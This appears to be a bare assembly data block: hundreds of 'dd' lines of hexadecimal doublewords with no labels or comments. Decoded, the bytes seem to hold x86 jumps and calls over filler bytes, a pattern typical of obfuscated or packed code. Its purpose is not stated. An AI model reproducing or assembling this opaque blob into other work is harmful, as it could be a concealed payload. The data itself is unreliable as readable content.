dd 4244481h, 1Ch, 1C35141h, 0B7102540h, 1A1F14ECh, 0AE958F9h
dd 0E0000000h, 0F6E66F37h, 91B856A1h, 6AC39D2Ah, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 5859C351h, 57006AD7h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 4AFC2FBCh, 0FFB8C4FAh, 6660FF88h
dd 0F98935BBh, 0F8C08B61h, 5820Fh, 81660000h, 81CF24E0h
dd 68DA82E3h, 7E839h, 85E20000h, 268E3D5Fh, 0D480532Ah
dd 0E9595BC7h, 8, 0AD0A090Fh, 90879237h, 0C9CA8050h, 0F560F85Ah
dd 0BD53BB61h, 0BF0F630Bh, 815160FEh, 0A267D9CEh, 12E95E75h
dd 33000000h, 7D73DD24h, 6DF23813h, 4F951C56h, 2ABC2803h
dd 0BE96176h, 60000000h, 0FBB8502Fh, 0EE7D24D3h, 7E87589h
dd 0F000000h, 0FF2EA1DEh, 665EC56Eh, 80D8F681h, 5840Fh
dd 81660000h, 0E99FFFD0h, 10h, 0A70DA023h, 0A6CD3F69h
dd 34338DDDh, 73BB1FFBh, 3F3ACABBh, 42E6803Bh, 0FFBBF0Fh
dd 58Fh, 8B665000h, 0BF0F5ADEh, 0B70FFCD1h, 6EC680C2h
dd 66F78B66h, 817229BEh, 0D41CE0D6h, 0DB816658h, 0CA80413Fh
dd 0F3B70F04h, 92BEF38Bh, 0F699977h, 0BF0FD3B7h, 8C0FF8F8h
dd 0Fh, 0AE9h, 0E3650200h, 7389C4D1h, 0F52D369h, 0E87h
dd 0C7816000h, 8CF8AD2h, 4A69D381h, 0F61077Ch, 8Eh, 66D88B00h
dd 0CBA0EB81h, 8EBBDC8Ah, 0BB487DA4h, 23021313h, 9E9h
dd 6EA6BC00h, 1A42630Eh, 0DF817FB2h, 6B04F42h, 0B3F28B66h
dd 5830FEEh, 66000000h, 74C9F281h, 6E9h, 0D628CD00h, 0FE8B570h
dd 8166D3BFh, 0E92FE9CEh, 0Ah, 0AFA72330h, 0CE29CCAEh
dd 66F56472h, 0E9105DB8h, 5, 842B5A54h, 0D18B66B0h, 10E960h
dd 310F0000h, 0B245665Ah, 13E01170h, 9B10998Dh, 81669B16h
dd 61D96AD3h, 0E9D38BF5h, 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh
dd 554B9EDEh, 0F5F8FCF5h, 0DFC28166h, 0AEBF6069h, 80445DCAh
dd 0F56177CDh, 1D870Fh, 11E80000h, 10000000h, 26883064h
dd 0C73288BCh, 345203D9h, 0AD830398h, 0A16ECA81h, 665F0D81h
dd 144F281h, 14E9h, 9120E00h, 0C00C5A17h, 276A3E48h, 0B814371Fh
dd 0FE0CD82Fh, 0AAC2800Ch, 44BF66F8h, 3800F3Eh, 0F000000h
dd 11E9F3BFh, 64000000h, 57F1A8ACh, 0E025907Ah, 0E7971527h
dd 0E3315638h, 0D540D881h, 0B9560289h, 327E612Eh, 0EEF5805Eh
dd 18F0Fh, 0BEFC0000h, 628FAC01h, 81665F56h, 0F96A7CBh
dd 6E9F8B7h, 23000000h, 33B0E36h, 8E8F4h, 0DFDA0000h, 560A58F6h
dd 5FF811D3h, 8A68CB80h, 0D28166EEh, 0BFF5FAECh, 780566D8h
dd 0E8FFBF0Fh, 9, 77E27443h, 4F0DD866h, 20D281EBh, 58569C3Ah
dd 11E9h, 506FD100h, 3430E078h, 0E1CE96A6h, 952812E7h
dd 6E85363h, 13000000h, 2BD4F58Ch, 0E381662Eh, 0E85F4D18h
dd 0Eh, 0CB794250h, 265CF1DFh, 0D2101A58h, 0BA505AA1h
dd 53B14050h, 0F605F5Fh, 38Eh, 0FE8B6600h, 61F28B66h, 5830Fh
dd 0C1BA0000h, 0E86908E1h, 0Ch, 972A530h, 35D49FB7h, 661514D2h
dd 6890Fh, 880F0000h, 0
dd 0D281665Bh, 8166C80Eh, 0E9F8CCD7h, 0Eh, 935A2C8Fh, 1CD3F37Dh
dd 87CAE560h, 860FDC98h, 2, 0E8F5D78Bh, 14h, 5A7C60BDh
dd 52E613C3h, 5F9074F9h, 2D2635Eh, 3253080Ch, 0BB665FF8h
dd 0BE9DF83h, 47000000h, 0B34A27EFh, 0EBDAE7D9h, 0BF6681F3h
dd 66F5C00Eh, 374CDB81h, 0CEB70F50h, 0F9B70F5Fh, 2870Fh
dd 0CE8B0000h, 0FFB8B66h, 0B84h, 58C0F00h, 0BE000000h
dd 1812394Ch, 2880Fh, 9BB70000h, 0CB8166FCh, 0F280484Fh
dd 810F5236h, 0
dd 0B1D8815Bh, 66480DB5h, 0BF7025B9h, 6011995Dh, 655451BEh
dd 0C8BF0F0Fh, 0EE8h, 0BE0C1800h, 0C3958815h, 64D7BDF4h
dd 66C4F2D9h, 0F59D68Bh, 481h, 4EBF6600h, 0CEBF0FB4h, 11E8h
dd 775DC300h, 5BA6A32Bh, 0FC4A36F7h, 25DF5F57h, 880F0D15h
dd 5, 20DE8166h, 8B66590Ah, 0EE9CEh, 3B8C0000h, 123CAB9h
dd 5AFE47Bh, 0A39E46A9h, 8452F181h, 0F5105ADh, 0E95EC0B7h
dd 12h, 12C484AFh, 0A385FEB7h, 46A0D618h, 0DF30D117h, 8166E18Ch
dd 0BED4A1E9h, 64091457h, 6E8h, 3F7DA700h, 0E8A9DBB1h
dd 6, 0DFA11173h, 0BE80AF7h, 4F000000h, 7A3E587Ah, 0BBCD72A1h
dd 5B5F50C9h, 0B966FC58h, 0CF8A91C8h, 5E9C1B3h, 0F2000000h
dd 9044B415h, 13880Fh, 0E8600000h, 0Bh, 0D47E824Eh, 8A9D141Ah
dd 5FC57108h, 0F9525161h, 0BBBE595Bh, 6074F0A2h, 0CDBA66F5h
dd 0E86061B9h, 5, 2CE4DAA6h, 4EBF66D9h, 0BB615866h, 6E435E22h
dd 0BE851F9h, 57000000h, 593499E9h, 0AC1D99B0h, 58FCF653h
dd 0DF8BFC58h, 0CE9h, 0B85C2300h, 0CE4F2AA7h, 6DEED9B8h
dd 71D8813Ah, 80671799h, 0BE96DD2h, 8E000000h, 5F4DD9A9h
dd 95A5A5F5h, 0BA66595Eh, 8B66AA4Ch, 0FE18AF1h, 0BB66F0BFh
dd 0FF59531h, 168Ah, 11E900h, 3C2F0000h, 1A681030h, 65C956C0h
dd 0DD44DF78h, 57563153h, 59A4E480h, 1840Fh, 0FFC0000h
dd 48Fh, 25B15100h, 0F781665Ah, 890FD775h, 2, 0E9FC2AB2h
dd 0Dh, 4407D4C1h, 23F7845h, 253057F7h, 0C18B6640h, 57F8C78Bh
dd 0D7816659h, 0BA66BF9Dh, 0F98BE68Ah, 0AE9F8F5h, 0DF000000h
dd 1CD89F0Bh, 81B70B37h, 0AE9D1h, 33820000h, 1B747AC3h
dd 6E639A74h, 8E9h, 0B3614400h, 9FA3F2BEh, 66F88BE0h, 47F9EF81h
dd 0E96077B6h, 0Bh, 0CD7D3D5Ch, 0FDFC786Ch, 0E8184D88h
dd 6, 455EE902h, 6EBE55FAh, 59566A75h, 0EE9F561h, 1E000000h
dd 0BA451E2Eh, 2B94E6FDh, 66C7B96Eh, 46DF80E8h, 0D0D0BF66h
dd 81FBB70Fh, 64C47AE8h, 0FDE8B58h, 0E853C3BFh, 13h, 0E4DBE6EAh
dd 0A0F5C00Fh, 5BD1102Fh, 0C2E5E8D8h, 60A6C04Ah, 0E9595B61h
dd 8, 754F17E4h, 2493B344h, 198A0Fh, 14E90000h, 95000000h
dd 0A0D26940h, 0B1D03522h, 6DEA4F06h, 5EA584BEh, 6646C9A9h
dd 0E8EAA1B8h, 9, 92972A1Fh, 68E2F727h, 0D98166FCh, 0B95AF39Ch
dd 665C0087h, 1F04F681h, 840F6AB1h, 0Eh, 7E953h, 0D030000h
dd 79822B58h, 870F5B8Bh, 0Bh, 58E0Fh, 81660000h, 66D5D6C0h
dd 10E9D98Bh, 0AB000000h, 4D421C55h, 336F8A5Ah, 770D701Eh
dd 562627DBh, 0F85ACB8Bh, 48D0Fh, 60600000h, 0C1816161h
dd 3C049167h, 0B57ABE66h, 5927B057h, 8AD7B70Fh, 0FE8B66F4h
dd 5D8092BAh, 0D381664Fh, 8166BB3Fh, 0FBADAC9h, 281h, 60F88B00h
dd 8E8h, 0D2EB9B00h, 0F4B5A4BAh, 0C78B665Fh, 0CEBF665Eh
dd 0FB8B6172h, 0E88A99B2h, 0CE8h, 16DAE800h, 6CE41A44h
dd 0BF739741h, 38E0FA5h, 0F000000h, 815BD9B7h, 0CE6DBCBh
dd 0A5B46029h, 61F18B66h, 0AE9F8h, 0CE60000h, 2115E12Ch
dd 231FF3E9h, 0AEB7A3B5h, 5ECEBA66h, 5E8h, 38CD7100h, 0BF0FC69Ch
dd 0BE605BC0h, 253575B6h, 9E9h, 0D2092700h, 46747780h
dd 0E961F2F3h, 14h, 8957D6B9h, 293B1CFCh, 5C475D53h, 0D82DAF3Ch
dd 730CBB7Ah, 0B8D78B66h, 50FB04C9h, 0AD43B1BBh, 0BE85Ah
dd 6C5D0000h, 26EB7F28h, 0BAC3F3EDh, 93EB814Bh, 5B417F57h
dd 0B966C88Ah, 8E0FFD82h, 5, 0DCD230BBh, 66F48A6Fh, 663AA5BEh
dd 0E99E3BBEh, 10h, 0F62EA6FCh, 0D608B919h, 3A459E10h
dd 593AF78Fh, 12E8D98Bh, 8E000000h, 0C3FFB9F6h, 20F1FBA6h
dd 0CB3D0AF9h, 47E49373h, 0EE9BDh, 3D2B0000h, 7AB626E2h
dd 0B10326E9h, 0ABB93A57h, 2870F5Fh, 0B2000000h, 0FE58A45h
dd 58Bh, 0DE816600h, 0BB66461Bh, 0BF0FF4D4h, 0C68B66C1h
dd 0E9C8BF0Fh, 10h, 1D6E8700h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh
dd 0FCABF0Fh, 8B66C0BFh, 0CF8160FAh, 35498CACh, 0EE9h
dd 68E93400h, 0C229F84Dh, 78A87D66h, 61827E88h, 0F2AC180h
dd 287h, 0FD08B00h, 0FB8BCAB7h, 8B19BB66h, 60DE8B66h, 44CA8166h
dd 0FE94Fh, 78DB0000h, 6B2246C5h, 0DFD34495h, 4DA9BA09h
dd 606061AFh, 13E8h, 85249B00h, 0D1EC2261h, 0EB15F3BFh
dd 0BA12D944h, 0B5AA0CE4h, 15E3815Bh, 614B966Bh, 2870Fh
dd 61600000h, 0D3B70F61h, 0B5C3C081h, 0C78045DEh, 0BDBBBB81h
dd 6E951ACh, 0A3000000h, 0BDA7D144h, 58F856D8h, 68C08160h
dd 0BB55AFBCh, 0E4135AFh, 9E961h, 0BF900000h, 55B60BF8h
dd 0F1FF5F9h, 8B66CAB7h, 9E9CEh, 0C0B70000h, 44B7788Dh
dd 0E97FAB75h, 0Ah, 28A058FCh, 2E7163D3h, 9FBA024Fh, 0E9573CE7h
dd 14h, 0F07656Eh, 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h
dd 60FFB70Fh, 0FE9h, 61B3D200h, 0A3752C80h, 15BF2388h
dd 0D731629Fh, 9E9h, 0F1ED4C00h, 7C2BD2E2h, 0E8615077h
dd 11h, 3B587D56h, 0EFFC4265h, 2D5A2E42h, 8C739695h, 6659FC55h
dd 9E9CA8Bh, 74000000h, 0B460853Dh, 0EDF65A21h, 7E8h, 8B419800h
dd 4CA2581Eh, 665FD88Bh, 92BEF08Bh, 0F71009Dh, 987h, 3860F00h
dd 0F000000h, 8B66FFBFh, 58B0FD8h, 0B9000000h, 2D39F291h
dd 0DA6520B8h, 0B67BA5Dh, 890F1E45h, 4, 59FBB756h, 0AE8h
dd 96EFB00h, 4FC1B5BBh, 0E8F299FFh, 12h, 33235CDCh, 0C67886F2h
dd 0BE066E6Eh, 90D3676Fh, 0C38A5824h, 0C78B5A5Fh, 7E8h
dd 0C8B28D00h, 0D1B24CF3h, 0F59F6B5h, 182h, 1DB4F800h
dd 800Fh, 0F600000h, 0E781FEBFh, 7FBB0124h, 0E9D78B61h
dd 0Ah, 6D439BCBh, 0EE143D7Dh, 69B645C2h, 0E9C88B66h, 0Eh
dd 95725916h, 43B6D1C5h, 2458401Eh, 0F8BE1D60h, 810CB7E3h
dd 0A99730D9h, 0EE869h, 56080000h, 4535D941h, 0E796E1CFh
dd 6B748A71h, 0FE9h, 267E4400h, 327264DAh, 0FA4F9659h
dd 0AD871517h, 3402BA5Ah, 0BA666E3Ah, 0CE8BA507h, 0B52EBE66h
dd 48BA66F8h, 13E962h, 0C8670000h, 8179B86Eh, 33B47A03h
dd 60C3A14Dh, 0B52EB7C2h, 66A2B7C6h, 522177BAh, 0E858C2B3h
dd 6, 259E70B9h, 8B66AAAEh, 12E858D9h, 4B000000h, 0C73A4DA2h
dd 768E0D11h, 3A22AFEBh, 496C0CA6h, 7E852h, 10200000h
dd 97462078h, 0D2B70F1Eh, 0A6BF5B5Bh, 0F2559CEh, 486h
dd 0EFB86600h, 5840F96h, 66000000h, 6454D681h, 39C08166h
dd 8166F5E2h, 0F077DE8h, 13E9F6BFh, 0EE000000h, 16AAEF74h
dd 0DA7CE054h, 132B47F2h, 8E98F92Eh, 8B66CCDBh, 83BE66C7h
dd 8C0FA2h, 66000000h, 0E8F8F98Bh, 12h, 0ED9637C1h, 623DAB63h
dd 0E2DD4D17h, 6CF3E886h, 8166F766h, 5FECD1E2h, 6E8h, 37490B00h
dd 0B8F2588Eh, 54BA9D22h, 0AE9535Bh, 0D000000h, 0FB29B31Ah
dd 9D2C6832h, 47B858D2h, 0BA4D1586h, 1CE3035Fh, 0DE860h
dd 0C8F50000h, 695EE56Ch, 5B2EC5D0h, 50C1647Fh, 66615A5Fh
dd 66883EBAh, 0A5B5F18Bh, 66FBB70Fh, 6660D08Bh
dd 0B65D2CB9h, 816661E3h, 57A6A6D6h, 0DE9h, 0F3601A00h
dd 2D9CF564h, 6070FB77h, 6659CCE9h, 8E0FD78Bh, 0
dd 0DBF66F5h, 5CC3BE57h, 0CB8B2404h, 93F18166h, 0F38B669Ah
dd 0EE9h, 77A46C00h, 0B9460AE8h, 74D5C0AFh, 80FDC3ECh
dd 12E888E5h, 80000000h, 276EB1C8h, 4A7E8003h, 969443B4h
dd 16CDAFDCh, 0CA816655h, 815EC04Eh, 83AD5EF2h, 0CCCB8147h
dd 0E928B6A4h, 14h, 92D86E1h, 47CAA5F8h, 0B36144B3h, 9FA3F2BEh
dd 0A64BD1E0h, 0FD1B70Fh, 18Ch, 8E9F500h, 0A4000000h, 2ADD73Ch
dd 664F810Dh, 0E860E5B9h, 13h, 8FAEF0A7h, 174D811Bh, 8BC6BF3Eh
dd 444AAE85h, 0E9EA3A5Eh, 8, 0AF07C51Bh, 0B278920Eh, 0CE959h
dd 6FA50000h, 8E32D924h, 0A217C12Dh, 0E9534AA1h, 5, 0C240E88Dh
dd 0EA815E57h, 4B30F9B3h, 0F98006BBh, 6ED68165h, 0E969339Dh
dd 10h, 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh, 5860Fh
dd 81660000h, 5703E3D0h, 6E9h, 49857C00h, 5F6471F9h, 9AC0F281h
dd 81664D28h, 0F98A7CF7h, 820Fh, 0BF0F0000h, 11E9DEh, 0A0DE0000h
dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 50344C1Dh, 0DE8h
dd 81A15B00h, 7C0F19Bh, 204CE9E0h, 0CB815D8Ah, 2F802857h
dd 0BF665E59h, 0C78A0169h, 0AE8h, 0EC9BD600h, 21B27C78h
dd 66ED04E8h, 6917C981h, 11E8605Bh, 0B4000000h, 0F96191Dh
dd 9E0A10E2h, 709DEADFh, 33ED6672h, 0E85A5957h, 11h, 0E3756C78h
dd 4359F9A1h, 0A3210F2Bh, 0BFB93694h, 0F615F2Bh, 80h, 7BA2B800h
dd 0FFC1463h, 11E9F0BFh, 0E6000000h, 13423245h, 78DEB417h
dd 83F2DEEEh, 1CABB452h, 4840Fh, 0BE660000h, 0F8F51142h
dd 88A0Fh, 830F0000h, 2, 0CE86160h, 4F000000h, 0F5000905h
dd 3231D7E0h, 0F9CBF296h, 42BB665Bh, 800FA6h, 66000000h
dd 1AB8E381h, 12E8h, 9387AB00h, 2259E618h, 0C772834h, 7B6012EFh
dd 5877BF35h, 10E9h, 0A0A75E00h, 527ED8A1h, 24FC7161h
dd 0BB40B714h, 0C28B6672h, 942248BBh, 0E8606018h, 11h
dd 32FDEE29h, 6136AC2Ah, 0F4259CADh, 5F23684Fh, 8061590Bh
dd 0B6613FE3h, 58B0F4Dh, 66000000h, 54B3E381h, 66ADF580h
dd 0C1B0D68Bh, 22316BBBh, 4800F41h, 60000000h, 8061F8FCh
dd 0EE986C7h, 87000000h, 6CD7F5A1h, 0DE6B3D6Ah, 910F765h
dd 66FC60A5h, 612C69B9h, 0C0BF0F60h, 0F98B6660h, 61615B51h
dd 66CBB70Fh, 0AD38E181h, 11E8FCh, 0E5CD0000h, 93221E95h
dd 966BB505h, 0E580F0F9h, 0F8E6052Ah, 8B666059h, 0DE8160D9h
dd 513CAEEDh, 860Fh, 61610000h, 84E3C681h, 0B70F4AE1h
dd 71F080F3h, 0CF8166h, 0EE8D6h, 7E610000h, 0DC358639h
dd 1330D574h, 4E4AD8DDh, 0DBB70F5Ah, 0DE8h, 1CEEC600h
dd 92DA1C8Dh, 8435BEACh, 5AF5E98Ah, 66C6BF0Fh, 875ACF81h
dd 0F6BB6660h, 0D7D58096h, 501DB361h, 0F08B6660h, 5E615953h
dd 0E9E18A60h, 0Eh, 0C76CE2D3h, 3BDCE2A3h, 0EA2305E9h
dd 60611CF9h, 0AE9h, 817C3D00h, 7D143A28h, 0F983A89Eh
dd 0D68B6661h, 12E9h, 0C7902C00h, 424814C7h, 80E3DEC1h
dd 0D633271Eh, 533CB259h, 0F3D28166h, 80F85EB0h, 8A0F7CD2h
dd 6, 0A4F7E781h, 0BABF1C18h, 6608D052h, 892DE81h, 0FCAB70Fh
dd 0EE9D6BFh, 8000000h, 0D2619536h, 0D1A3CC68h, 7D604404h
dd 14E9F2h, 86AF0000h, 0DF5AF053h, 34538A76h, 6630C2DBh
dd 0F96735B3h, 6E8A777h, 0C8000000h, 19973798h, 0DE881E8h
dd 5E1ED356h, 36B96657h, 0B9665E2Dh, 0E980756Eh, 6BE180E5h
dd 41D881FCh, 0F5EC3EDh, 580h, 0C7816600h, 8B6691DAh, 4810FD1h
dd 66000000h, 503AEABAh, 9CAEDB81h, 8B5E3EC1h, 2F12BEF7h
dd 0E9F93658h, 6, 75EE1116h, 8B66219Dh, 1BEC80D3h, 6E9h
dd 0C9B33A00h, 8BD2E5F8h, 0BE8CFh, 12C00000h, 5F16F73Bh
dd 0FCCF484h, 8B0F5FB8h, 1Ah, 13E951h, 0B2C0000h, 4558870Ah
dd 0FDE56534h, 0CD196237h, 0ABAD3650h, 0BA665817h, 0A0B360DCh
dd 42EFC981h, 0BE80A96h, 0E8000000h, 62301E73h, 1A79134Ch
dd 5258A887h, 32578FBAh, 0F88B5F05h, 0CA80C58Ah, 6800FF5h
dd 81000000h, 87193FE1h, 0DEBF0F7Bh, 0D8806060h, 8B0F14h
dd 61000000h, 0E6BB6660h, 0CA816698h, 616177DEh, 6E8h
dd 62790B00h, 0E87754BBh, 5, 2C8571C8h, 6E988h, 0B2660000h
dd 78DF7C53h, 53FC5958h, 14E9h, 0A3BA700h, 99D4D57h, 2C9ED988h
dd 88E2D7FBh, 0FA3E268h, 81665989h, 0FCA81D8h, 38Ch, 88D48000h
dd 0FF78B66h, 683h, 91C98100h, 6072BFFAh, 1830Fh, 66F80000h
dd 614845B8h, 31AB80B9h, 830F6030h, 6, 890Fh, 8B660000h
dd 816661F7h, 0B9B4EDD9h, 45C33E5Fh, 43AADE81h, 0F567010h
dd 605FFEBFh, 15880Fh, 10E90000h, 0FC000000h, 0C45CEFF6h
dd 47FF1DAAh, 567EF4AEh, 615A762Fh, 10E9h, 0AFC47F00h
dd 251E8E65h, 188B7B2Eh, 0D04886Eh, 0FD08BC3h, 0B82h, 58D0F00h
dd 66000000h, 4BBAD081h, 0AE8h, 8C1FB600h, 0C4838CA1h
dd 0B51BA6E3h, 63BF5FD8h, 663F2893h, 7E8CA8Bh, 3000000h
dd 0A0043D6Dh, 0CE8E824h, 2C000000h, 21CF85D2h, 1EF6ADE3h
dd 0E91BF5DDh, 13h, 365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh
dd 5A21432Fh, 53BB665Fh, 9B4B983h, 0E38131EFh, 3B07FCB5h
dd 0CE8h, 0FA415900h, 15B74F09h, 35FC7027h, 59A8B08Ah
dd 7830Fh, 66510000h, 2BC3DE81h, 12E85Ah, 5FBF0000h, 90E8BD77h
dd 0FF20C723h, 0D17FAE60h, 3076C568h, 3830Fh, 8B660000h
dd 0F6058DEh, 0DE8D3B7h, 0E4000000h, 1E78EE2Ah, 0BBC734EFh
dd 669E139Bh, 6158B4B7h, 60D98B66h, 3800Fh, 8B660000h
dd 64F181DAh, 611B7C80h, 66FBB70Fh, 0BF60CE8Bh, 1E65984Eh
dd 1DB8B866h, 6011B361h, 61F88B66h, 11E860h, 0BCA00000h
dd 0E1EB6062h, 8D19F1Ah, 0F400027Eh, 60858FB8h, 0F615961h
dd 148Ch, 9E800h, 5A210000h, 0CCC3EDF6h, 0BBACA12Ch, 1E88A6ECh
dd 0E860F5Ah, 0E9000000h, 9, 0A8DEAEFh, 179A9049h, 0D88166B5h
dd 0BE94176h, 0B0000000h, 0A4918A7Ch, 9F4206BAh, 23BFB489h
dd 0F2F9409h, 82h, 667EB400h, 0FE8DA8Bh, 72000000h, 0B9329278h
dd 0E2CE9973h, 0E6A1A659h, 8166E800h, 59130EE8h, 0D0EF8166h
dd 22D981D2h, 663A93CCh, 0D193D781h, 7CC34BBFh, 3ECD8030h
dd 792822BFh, 0CE815672h, 4B5D9944h, 8F0F5Bh, 66000000h
dd 122BDA81h, 0F1816660h, 8152FB6Bh, 4FC9EEDEh, 0E8615848h
dd 0Eh, 2895586h, 0D977CB51h, 0EC9182D3h, 3DBF5C2Eh, 5F6F5547h
dd 0AE8h, 1E9CF000h, 3812D7EBh, 666846DBh, 0F5FC38Bh, 18Ah
dd 8166F800h, 661FBDF6h, 65F1EB81h, 0BE8h, 7BE5B300h, 0E4DE88D8h
dd 98FECE0h, 13E9h, 15006900h, 0C96785FAh, 92FC9744h, 7BBD70EEh
dd 596E0BB0h, 12E95Bh, 376D0000h, 5E826ED2h, 1E57128h
dd 60AAC9A5h, 0F07685A3h, 820Fh, 8B600000h, 0F28166C3h
dd 0E961ACD4h, 0Eh, 9ED0FC1Dh, 0BF5E0385h, 72997FA6h, 0F516ED5h
dd 8B59C3B7h, 0C96BADEh, 0F60035Ch, 282h, 0E85B5100h, 0Ah
dd 1A21F447h, 0C179785Fh, 0BF0FCBABh, 0E96159C9h
dd 10h, 9059D4D3h, 37452D8Ah, 0ED67993Ah, 0AC10346Ah, 0ABF28166h
dd 0EE9AAh, 0A9880000h, 427C28C3h, 0B7EF97EDh, 5B295335h
dd 0DB80C88Bh, 9EC3B9E5h, 0DE9507Ch, 3D000000h, 831B8121h
dd 387FFFC5h, 485D5A3Eh, 8166F88Bh, 66B8E2EAh, 924EE981h
dd 13E951h, 0AC5E0000h, 1A50218Ah, 0D0D2F998h, 0F9B79314h
dd 0D61715A7h, 66575AF5h, 0E85FC38Bh, 12h, 488ADDA5h, 0E4BCA268h
dd 0B075231Eh, 98ABC025h, 0C980E4C0h, 0D4805E2Ah, 0E9F5F812h
dd 0Ah, 0D8A3C5EFh, 73A36620h, 0BE668AEBh, 0BF0FFE2Dh
dd 5D99BBC0h, 0CE90DA9h, 91000000h, 0A3C1C1EFh, 11C8274h
dd 664230BEh, 34BBF38Bh, 0E94AABB0h, 0Bh, 0AC0BE11h, 706A81AEh
dd 814C0979h, 6ECDA7D8h, 3870F5Ch, 66000000h, 0EE8CA8Bh
dd 0C4000000h, 93AEEC11h, 959FFE71h, 61D2D080h, 11800FF1h
dd 0E8000000h, 0Bh, 0D3E0D1E7h, 6561FE7Bh, 58931940h, 8166575Ah
dd 5E1860C8h, 0CE8h, 10E50600h, 410055F7h, 9E97C623h, 0D98B66C2h
dd 575E505Ah, 0FE8h, 10B22500h, 789A837Ah, 0F5DA116Ah
dd 4AC40B2h, 0BE9h, 43F57500h, 60BB5E27h, 0A8BBE64Ah, 0CFBF5B5Eh
dd 660328CFh, 9FC0D281h, 36D4BB66h, 88C0Fh, 810F0000h
dd 2, 60BEFD8Ah, 665FB70Bh, 0F6D87BFh, 0BF0FD9B7h, 0F3B3FCC0h
dd 0EAADB966h, 5850Fh, 81660000h, 609A92EAh, 85BA6660h
dd 0C28A614Bh, 0B866F961h, 6651A21Bh, 5E7F35BBh, 0B53AEB9h
dd 0D8BF0F76h, 9CB9D6B6h, 666A76ADh, 0F778EA81h, 0DB9FEB4h
dd 0E934C206h, 6, 13CAE9Fh, 14E9A3DEh, 51000000h, 0FF0AF3DEh
dd 17EFF72Ah, 0A48B17B0h, 6F419464h, 60CB95C0h, 0F4D3C381h
dd 0AE95608h, 70000000h, 0D445B81Ah, 2B10C97Bh, 0F580613Ah
dd 5E9600Ah, 27000000h, 336D9105h, 6161CB80h, 14E9h, 0DB3C0800h
dd 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h, 0E280F755h, 8E90Bh
dd 0FF540000h, 0C715D734h, 81660AB2h, 0E97065DFh, 8, 35A7D9F3h
dd 0E389D4C3h, 8E8h, 55A87000h, 0A2DE9EFBh, 6850FE2h, 0F000000h
dd 84h, 7E95800h, 80000000h, 0F3F9B17h, 6653D5F5h, 0FF7F681h
dd 840FF95Ah, 0
dd 0FE9h, 0C578DB00h, 956B2246h, 9DFD344h, 0AF4DA9BAh
dd 66F38B66h, 9E58C381h, 9E960h, 21090000h, 599CE115h
dd 0F38A0C8h, 0F61C0BFh, 387h, 0C6B70F00h, 60F6B70Fh, 0FB8B66F8h
dd 0DA816661h, 8F0F63E4h, 3, 80F88B66h, 0C68BF4D1h, 0CBA8B856h
dd 0B75F66F2h, 66CF8B82h, 0CB8BC18Bh, 12E9EE8Ah, 0E6000000h
dd 173DBE64h, 0E0B2D52Eh, 784338EAh, 2BF3B51Dh, 60E681DFh
dd 0F103DE7h, 0DE8BF0BFh, 4820F52h, 66000000h, 58ED58B9h
dd 0E8F7F180h, 13h, 0DF188258h, 85ED38A4h, 2371BE50h, 33B0E36h
dd 0FBE7DF4h, 687h, 8A0F00h, 5F000000h, 0C8E98166h, 98C0FCAh
dd 0F000000h, 381h, 0DBB70F00h, 9D65BA66h, 17840Fh, 0E9500000h
dd 10h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h, 16477719h, 0F7B70F5Eh
dd 0F9FE8B66h, 80C8BF0Fh, 0C08122CEh, 4E5DC085h, 0CEB198B7h
dd 14880Fh, 0FE90000h, 0F4000000h, 9AF1756Ah, 0E3349BBEh
dd 0A46B1316h, 8E9B2C4h, 6000000h, 0C40500F9h, 818F4E7Dh
dd 952504EAh, 12E839h, 0EDB00000h, 0F96CDCCDh, 5DA817Eh
dd 0B5240BD6h, 0F35A0C74h, 0FC5FC28Bh, 0CE8h, 0C85B2100h
dd 7AA52882h, 746DD8C6h, 0D3B95864h, 0E901F74Eh, 8, 868EDDC1h
dd 6E154C0Ch, 665353F5h, 5AB14EB9h, 0C981665Ah, 605259A6h
dd 8F0Fh, 58610000h, 0B20FBE60h, 0B2610647h, 0C9B70F22h
dd 0D38B6657h, 0C7B9665Bh, 0D88A6062h, 0FEBF0F56h, 6660615Bh
dd 0FE3F4B9h, 0F561D7B7h, 0E960F560h, 10h, 50B7D1Bh, 0A3EE17FDh
dd 0DBC2DCFBh, 7B71E680h, 61615856h, 0FE9h, 68796100h
dd 8C50A3BDh, 38D76180h, 71A32C26h, 0FDAB70Fh, 589h, 0CB816600h
dd 0F600AB2h, 89h, 6850F00h, 0F000000h, 80h, 0AE96100h
dd 4D000000h, 0D72E153h, 0A5A902F1h, 46C081A1h, 0F45838Dh
dd 883h, 0B70F6000h, 0F78B66C6h, 10E961h, 0C7540000h, 10CD591Bh
dd 1BABB1AFh, 0E8C5923Dh, 73BBD648h, 0B35D42F3h, 13E893h
dd 0A2770000h, 8EA13EC1h, 3604A62h, 0BBD3208Bh, 463BE387h
dd 11E948h, 0D3C70000h, 0FB55A870h, 0E2A2DE9Eh, 0BD2F8365h
dd 59D06E90h, 8A0FE2B0h, 0Ch, 6870Fh, 8C0F0000h, 0
dd 24F6DF81h, 0E8F54615h, 9, 5C6842D9h, 1686C80Fh, 9E898h
dd 2F170000h, 0DC3476E1h, 0F6972C5h, 5A5FC0B7h, 10E9h
dd 0A0F23D00h, 0E211C202h, 1B9D17B2h, 8F45F5FFh, 10E9F548h
dd 0A2000000h, 5408F7EDh, 0B9F04862h, 56E72521h, 0E9B68376h
dd 0Dh, 168F73E7h, 668A3B27h, 2FF63C35h, 5880F16h, 66000000h
dd 63E3F281h, 7E9h, 206B6F00h, 2ACA5673h, 11E8h, 6CB79000h
dd 2E584A4Ah, 2DD35230h, 0AD730D34h, 66603306h, 0D493DE81h
dd 0FD5B33BAh, 0E85F6119h, 11h, 4DF3D752h, 0AD5B24E1h
dd 8D3EF53Eh, 85B01516h, 0D0816665h, 6059196Ch, 38A0Fh
dd 0EA800000h, 61C78B24h, 69E0B866h, 86EF8166h, 2EBE666Bh
dd 0BE921h, 2C9B0000h, 1A782AC6h, 0AD982E30h, 0DE8B668Dh
dd 0BE9h, 0D9C42100h, 32CEE992h, 0FA121DDh, 66DE8B66h
dd 66B411BEh, 1A9FE981h, 68E0F57h, 81000000h, 603ABED1h
